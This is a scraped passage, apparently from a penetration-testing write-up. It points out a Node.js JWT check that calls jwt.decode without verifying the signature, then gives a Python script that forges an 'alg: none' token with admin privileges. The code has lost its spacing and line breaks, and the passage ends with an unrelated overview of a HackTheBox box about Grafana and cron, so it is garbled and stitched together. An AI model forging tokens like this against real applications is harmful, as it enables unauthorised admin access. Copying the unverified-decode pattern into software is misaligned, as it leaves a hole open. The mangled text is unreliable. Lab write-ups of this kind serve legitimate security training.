Examining the current app.js revealed a critical vulnerability:
1
2
3
4
5
6
7
8
9
10
11
12
functionverifyToken(req,res,next){consttoken=req.cookies.token;if(!token)returnres.redirect('/');try{// This line allows 'none' algorithm and skips signature verification
constdecoded=jwt.decode(token);// ❗ Uses decode instead of verify!
req.user=decoded;next();}catch(err){returnres.redirect('/');}}
The vulnerability: The code uses jwt.decode() instead of jwt.verify(), which means it doesn’t verify the JWT signature. This allows forging tokens!
importbase64importjsonimporttime# Decode the real token firstreal_token="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImRpbmVzaCIsInByaXZfYWRtaW4iOmZhbHNlLCJpYXQiOjE3NTk1MTYyODAsImV4cCI6MTc1OTUxOTg4MH0.rIG3pLQBEbaAPvbl2CbSi00BELvTEJxZYUVkKCxzUjI"parts=real_token.split('.')header=json.loads(base64.urlsafe_b64decode(parts[0]+'=='))payload=json.loads(base64.urlsafe_b64decode(parts[1]+'=='))print("Real token header:",header)print("Real token payload:",payload)# Create forged token with priv_admin = trueforged_payload={"username":"dinesh","priv_admin":True,# Changed to True!"iat":int(time.time()),"exp":int(time.time())+3600}# Use 'none' algorithm to bypass signature verificationforged_header={"alg":"none","typ":"JWT"}header_b64=base64.urlsafe_b64encode(json.dumps(forged_header,separators=(',',':')).encode()).decode().rstrip('=')payload_b64=base64.urlsafe_b64encode(json.dumps(forged_payload,separators=(',',':')).encode()).decode().rstrip('=')forged_token=f"{header_b64}.{payload_b64}."print("\nForged token:")print(forged_token)
Cybersecurity professional specializing in Network & Cloud Security, Digital Forensics, and Penetration Testing. Passionate about sharing knowledge and empowering others through hands-on security training.
Overview # Planning is an Easy-rated Linux box from HackTheBox that involves exploiting a vulnerable Grafana instance and escalating privileges through a misconfigured cron job management interface. This walkthrough will guide you through each step of the penetration testing process.